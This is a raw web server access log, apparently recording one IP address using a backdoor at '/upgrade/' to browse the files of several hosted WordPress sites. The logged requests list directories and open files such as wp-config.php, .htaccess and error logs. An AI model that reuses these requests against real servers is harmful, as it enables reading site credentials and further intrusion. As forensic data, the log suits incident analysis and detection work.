45.135.193.11 - - [11/Sep/2026:22:41:27 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 52640 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:27 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 9844 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:28 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 9673 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:28 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F&option=file HTTP/1.1" 200 8325 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:28 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 16129 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:28 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 10628 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:28 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 9945 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:28 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F&option=dir HTTP/1.1" 200 8327 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:28 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Ftext-kernel HTTP/1.1" 200 6389 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:28 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 11093 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:28 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 25666 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:28 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 8979 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:28 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F&option=folder HTTP/1.1" 200 8351 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:28 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 10974 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:28 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 9470 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:28 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 11384 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:29 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 10669 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:29 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 19083 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:29 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2Fwp-includes HTTP/1.1" 200 26221 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:29 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 9239 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:29 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 10171 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:29 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 25649 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:29 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 8330 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:29 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2Fcgi-bin HTTP/1.1" 200 5791 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:29 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2Fpartial-filter HTTP/1.1" 200 6403 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2Fpartial-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:29 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 16504 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:29 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 20948 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:29 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 52633 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:29 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 16096 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:29 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F&option=dir HTTP/1.1" 200 8348 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:29 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F&option=file HTTP/1.1" 200 8348 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:30 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 9783 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:30 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 10610 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:30 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 9952 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:30 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 8337 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:30 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2Fupgrade HTTP/1.1" 200 6774 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:30 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2Fwp-content HTTP/1.1" 200 6607 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:30 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 11778 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:30 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 11902 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:30 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 8310 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:30 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F.well-known HTTP/1.1" 200 6048 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:30 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2Fmember-suspended HTTP/1.1" 200 6484 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2Fmember-suspended" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:30 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2Fwp-admin HTTP/1.1" 200 13349 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:30 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 9595 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:30 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 10212 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:30 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 9675 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:31 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw&location=%2Fhome%2F HTTP/1.1" 200 5794 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:31 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F HTTP/1.1" 200 8637 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbioway88.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
